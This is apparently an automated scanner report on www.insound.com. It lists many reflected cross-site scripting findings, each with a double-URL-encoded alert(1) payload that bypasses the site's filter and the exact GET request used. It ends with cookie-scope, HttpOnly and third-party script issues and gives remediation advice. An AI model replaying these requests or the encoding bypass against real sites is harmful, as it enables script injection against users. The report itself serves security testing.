The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e90e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e052acedad6 was submitted in the REST URL parameter 3. This input was echoed as 3e90e"><script>alert(1)</script>052acedad6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Mountain%20Goats3e90e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e052acedad6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a3c4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e88ecfb89a44 was submitted in the REST URL parameter 3. This input was echoed as 2a3c4"><script>alert(1)</script>88ecfb89a44 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National%20Lights2a3c4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e88ecfb89a44&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 5201b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edfa220a56c1 was submitted in the REST URL parameter 3. This input was echoed as 5201b</title><script>alert(1)</script>dfa220a56c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National%20Lights5201b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edfa220a56c1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>The National Lights5201b</title><script>alert(1)</script>dfa220a56c1</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6a33%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46e4cebc19f was submitted in the REST URL parameter 3. This input was echoed as a6a33"><script>alert(1)</script>46e4cebc19f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National%20Trusta6a33%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46e4cebc19f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 64cbc%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2d574058cca was submitted in the REST URL parameter 3. This input was echoed as 64cbc</title><script>alert(1)</script>2d574058cca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National%20Trust64cbc%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2d574058cca&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>The National Trust64cbc</title><script>alert(1)</script>2d574058cca</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 70153%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e438c9412e6a was submitted in the REST URL parameter 3. This input was echoed as 70153</title><script>alert(1)</script>438c9412e6a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National70153%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e438c9412e6a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 478e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef674ca8b08b was submitted in the REST URL parameter 3. This input was echoed as 478e9"><script>alert(1)</script>f674ca8b08b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20National478e9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef674ca8b08b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98e2b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef74af9ed31e was submitted in the REST URL parameter 3. This input was echoed as 98e2b"><script>alert(1)</script>f74af9ed31e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Soft%20Boys98e2b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef74af9ed31e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c6ae4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e622ad9470d6 was submitted in the REST URL parameter 3. This input was echoed as c6ae4</title><script>alert(1)</script>622ad9470d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20Soft%20Boysc6ae4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e622ad9470d6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c76d3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e001e05af200 was submitted in the REST URL parameter 3. This input was echoed as c76d3</title><script>alert(1)</script>001e05af200 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20War%20on%20Drugsc76d3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e001e05af200&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>The War on Drugsc76d3</title><script>alert(1)</script>001e05af200</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ded07%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4d3847c31a7 was submitted in the REST URL parameter 3. This input was echoed as ded07"><script>alert(1)</script>4d3847c31a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/The%20War%20on%20Drugsded07%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4d3847c31a7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <input type="hidden" name="query" value="The War on Drugsded07"><script>alert(1)</script>4d3847c31a7" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8291b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee7908718261 was submitted in the REST URL parameter 3. This input was echoed as 8291b"><script>alert(1)</script>e7908718261 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Trans%20Am8291b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee7908718261&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 6ff0b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebcaa73a5d64 was submitted in the REST URL parameter 3. This input was echoed as 6ff0b</title><script>alert(1)</script>bcaa73a5d64 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Trans%20Am6ff0b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebcaa73a5d64&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload ab1ec%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec18a5eedd61 was submitted in the REST URL parameter 3. This input was echoed as ab1ec</title><script>alert(1)</script>c18a5eedd61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Twin%20Shadowab1ec%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec18a5eedd61&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4c0c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e43204d1f555 was submitted in the REST URL parameter 3. This input was echoed as c4c0c"><script>alert(1)</script>43204d1f555 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Twin%20Shadowc4c0c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e43204d1f555&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5367%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0499dc7c4b8 was submitted in the REST URL parameter 3. This input was echoed as a5367"><script>alert(1)</script>0499dc7c4b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Wise%20Blooda5367%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0499dc7c4b8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 9a9c5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6195baa2aa1 was submitted in the REST URL parameter 3. This input was echoed as 9a9c5</title><script>alert(1)</script>6195baa2aa1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Wise%20Blood9a9c5%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6195baa2aa1&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /10-for-10/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /10-for-10/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /10-for-10/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close